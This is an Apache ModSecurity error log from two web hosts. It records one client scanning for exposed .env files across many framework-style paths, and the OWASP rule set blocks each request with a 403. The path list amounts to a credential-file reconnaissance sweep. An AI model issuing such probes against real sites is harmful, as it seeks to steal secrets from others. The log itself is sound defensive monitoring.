[Sat Oct 24 21:49:36.065985 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /codeigniter/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/codeigniter/.env"] [unique_id "at1gMD8oejtZfsaip1YpUgAAABE"]
[Sat Oct 24 21:49:36.066211 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/codeigniter/.env"] [unique_id "at1gMD8oejtZfsaip1YpUgAAABE"]
[Sat Oct 24 21:49:36.066529 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/codeigniter/.env"] [unique_id "at1gMD8oejtZfsaip1YpUgAAABE"]
[Sat Oct 24 21:49:36.066578 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /gateway/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/gateway/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmgAAACE"]
[Sat Oct 24 21:49:36.066753 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/gateway/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmgAAACE"]
[Sat Oct 24 21:49:36.066996 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/gateway/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmgAAACE"]
[Sat Oct 24 21:49:36.082548 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /cakephp/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/cakephp/.env"] [unique_id "at1gMD8oejtZfsaip1YpUwAAABE"]
[Sat Oct 24 21:49:36.082719 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/cakephp/.env"] [unique_id "at1gMD8oejtZfsaip1YpUwAAABE"]
[Sat Oct 24 21:49:36.082953 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/cakephp/.env"] [unique_id "at1gMD8oejtZfsaip1YpUwAAABE"]
[Sat Oct 24 21:49:36.175890 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /microservice/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/microservice/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmwAAACE"]
[Sat Oct 24 21:49:36.176106 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/microservice/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmwAAACE"]
[Sat Oct 24 21:49:36.176459 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/microservice/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWmwAAACE"]
[Sat Oct 24 21:49:36.177539 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /zend/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/zend/.env"] [unique_id "at1gMD8oejtZfsaip1YpVAAAABE"]
[Sat Oct 24 21:49:36.177682 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/zend/.env"] [unique_id "at1gMD8oejtZfsaip1YpVAAAABE"]
[Sat Oct 24 21:49:36.177941 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/zend/.env"] [unique_id "at1gMD8oejtZfsaip1YpVAAAABE"]
[Sat Oct 24 21:49:36.200733 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /service/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/service/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWnAAAACE"]
[Sat Oct 24 21:49:36.200938 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/service/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWnAAAACE"]
[Sat Oct 24 21:49:36.201255 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/service/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWnAAAACE"]
[Sat Oct 24 21:49:36.237956 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /yii/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/yii/.env"] [unique_id "at1gMD8oejtZfsaip1YpVQAAABE"]
[Sat Oct 24 21:49:36.238156 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/yii/.env"] [unique_id "at1gMD8oejtZfsaip1YpVQAAABE"]
[Sat Oct 24 21:49:36.238444 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/yii/.env"] [unique_id "at1gMD8oejtZfsaip1YpVQAAABE"]
[Sat Oct 24 21:49:36.264674 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v3/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWnQAAACE"]
[Sat Oct 24 21:49:36.264919 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v3/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWnQAAACE"]
[Sat Oct 24 21:49:36.265271 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/v3/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWnQAAACE"]
[Sat Oct 24 21:49:36.283506 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /laravel5/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/laravel5/.env"] [unique_id "at1gMD8oejtZfsaip1YpVgAAABE"]
[Sat Oct 24 21:49:36.283675 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/laravel5/.env"] [unique_id "at1gMD8oejtZfsaip1YpVgAAABE"]
[Sat Oct 24 21:49:36.283916 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/laravel5/.env"] [unique_id "at1gMD8oejtZfsaip1YpVgAAABE"]
[Sat Oct 24 21:49:36.303452 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v1/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at1gMD8oejtZfsaip1YpVwAAABE"]
[Sat Oct 24 21:49:36.303682 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at1gMD8oejtZfsaip1YpVwAAABE"]
[Sat Oct 24 21:49:36.304011 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v1/.env"] [unique_id "at1gMD8oejtZfsaip1YpVwAAABE"]
[Sat Oct 24 21:49:36.339172 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v2/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at1gMD8oejtZfsaip1YpWAAAABE"]
[Sat Oct 24 21:49:36.339405 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at1gMD8oejtZfsaip1YpWAAAABE"]
[Sat Oct 24 21:49:36.339748 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v2/.env"] [unique_id "at1gMD8oejtZfsaip1YpWAAAABE"]
[Sat Oct 24 21:49:36.341293 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /api/dev/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/dev/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWngAAACE"]
[Sat Oct 24 21:49:36.341442 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/dev/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWngAAACE"]
[Sat Oct 24 21:49:36.341648 2026] [security2:error] [pid 2693020:tid 2693020] [client 34.19.162.36:56816] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes1.sherwinpinturas.com"] [uri "/api/dev/.env"] [unique_id "at1gMDKiZtbKEGWJKoLWngAAACE"]
[Sat Oct 24 21:49:36.397945 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /v3/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v3/.env"] [unique_id "at1gMD8oejtZfsaip1YpWQAAABE"]
[Sat Oct 24 21:49:36.398190 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v3/.env"] [unique_id "at1gMD8oejtZfsaip1YpWQAAABE"]
[Sat Oct 24 21:49:36.398511 2026] [security2:error] [pid 2684583:tid 2684583] [client 34.19.162.36:56810] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "lentes2.sherwinpinturas.com"] [uri "/v3/.env"] [unique_id "at1gMD8oejtZfsaip1YpWQAAABE"]
